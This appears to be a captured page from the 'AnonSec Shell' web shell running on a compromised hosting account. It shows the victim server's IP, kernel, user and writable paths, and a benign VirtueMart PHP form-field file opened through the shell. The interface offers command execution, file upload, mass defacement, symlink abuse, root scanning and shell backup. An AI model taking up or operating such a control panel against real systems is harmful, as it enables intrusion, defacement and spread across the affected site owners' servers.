AnonSec Shell
Server IP : 87.98.231.4  /  Your IP : 216.73.217.178   [ Reverse IP ]
Web Server : Apache
System : Linux webm007.cluster103.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : grupmartgn ( 667608)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/grupmartgn/elanartcrafts/administrator/components/com_virtuemart/fields/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/grupmartgn/elanartcrafts/administrator/components/com_virtuemart/fields/vmlisttable.php
<?php
defined('_JEXEC') or die();

/**
 * Creates a dropdown select list by a given model and function
 *
 * @package    VirtueMart
 * @subpackage Fields
 * @author Max Milbers
 * @link https://virtuemart.net
 * @copyright Copyright (c) 2016 VirtueMart Team. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * VirtueMart is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * @version $Id: $
 */

JFormHelper::loadFieldClass('list');
jimport('joomla.form.formfield');

class JFormFieldVmListTable extends JFormFieldList {

	/**
	 * Element name
	 * @access    protected
	 * @var        string
	 */
	var $type = 'vmListTable';

	protected function getInput() {

		return parent::getInput();
	}
	protected function getOptions() {
		$options = array();
		VmConfig::loadConfig();
		vmLanguage::loadJLang('com_virtuemart');

		$this->model = $this->getAttribute('model',false);
		$this->func = $this->getAttribute('func',false);
		if(!$this->model or !$this->func){
			return parent::getOptions();
		}
		$m = VmModel::getModel($this->model);
		if(!$m){
			return parent::getOptions();
		}
		$values = call_user_func(array($m,$this->func));


		if(!$this->multiple) $options[] .=  JHtml::_('select.option', 0, vmText::_('COM_VIRTUEMART_FORM_TOP_LEVEL'));

		$lvalue = $this->getAttribute('lvalue','value');
		$ltext = $this->getAttribute('ltext','text');

		foreach ($values as $v) {
			$options[] = JHtml::_('select.option', $v->{$lvalue}, $v->{$ltext});
		}

		// Merge any additional options in the XML definition.
		$options = array_merge(parent::getOptions(), $options);

		if(!is_array($this->value))$this->value = array($this->value);

		if($this->multiple){
			$this->multiple = ' multiple="multiple" ';
		}

		return $options;
	}
}

Anon7 - 2022
AnonSec Team